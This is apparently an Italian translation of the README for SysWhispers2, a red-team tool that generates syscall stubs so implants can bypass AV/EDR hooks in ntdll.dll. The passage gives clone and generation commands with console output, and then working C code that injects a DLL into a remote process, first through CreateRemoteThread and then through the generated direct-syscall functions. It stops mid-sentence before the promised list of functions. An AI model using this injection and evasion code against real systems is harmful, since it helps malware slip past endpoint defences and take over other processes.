
Evasione di AV/EDR tramite chiamate di sistema dirette.
SysWhispers aiuta nell'evasione generando file header/ASM che gli implant possono utilizzare per effettuare chiamate di sistema dirette.
Tutte le syscall principali sono supportate e nella cartella example-output/ sono disponibili file generati di esempio.
L'utilizzo è quasi identico a SysWhispers1 ma non è necessario specificare quali versioni di Windows supportare. La maggior parte delle modifiche è sotto il cofano. Non si basa più sulle tabelle delle syscall di @j00ru, ma utilizza la tecnica "sorting by system call address" resa popolare da @modexpblog. Questo riduce significativamente la dimensione degli stub delle syscall.
L'implementazione specifica in SysWhispers2 è una variazione del codice di @modexpblog. Una differenza è che gli hash dei nomi delle funzioni vengono randomizzati ad ogni generazione. @ElephantSe4l, che aveva pubblicato questa tecnica in precedenza, ha un'altra implementazione basata in C++17 che vale la pena di esaminare.
Il repository originale di SysWhispers è ancora presente ma potrebbe essere deprecato in futuro.
Vari prodotti di sicurezza inseriscono hook nelle funzioni API in modalità utente che consentono loro di reindirizzare il flusso di esecuzione verso i propri motori e rilevare comportamenti sospetti. Le funzioni in ntdll.dll che effettuano le syscall sono composte da poche istruzioni assembly, quindi reimplementarle nel proprio implant può bypassare l'attivazione di quegli hook dei prodotti di sicurezza. Questa tecnica è stata resa popolare da @Cn33liz e il suo post sul blog contiene maggiori dettagli tecnici che vale la pena leggere.
SysWhispers fornisce ai red teamer la capacità di generare coppie header/ASM per qualsiasi syscall nell'immagine del kernel principale (ntoskrnl.exe). Gli header includeranno anche le definizioni dei tipi necessarie.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Esporta tutte le funzioni con compatibilità per tutte le versioni di Windows supportate (vedi example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Esporta solo le funzioni comuni (vedi elenco in basso).
py .\syswhispers.py --preset common -o syscalls_common
# Esporta NtProtectVirtualMemory e NtWriteVirtualMemory con compatibilità per tutte le versioni.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usando l'opzione --preset common verrà creata una coppia header/ASM con le seguenti funzioni: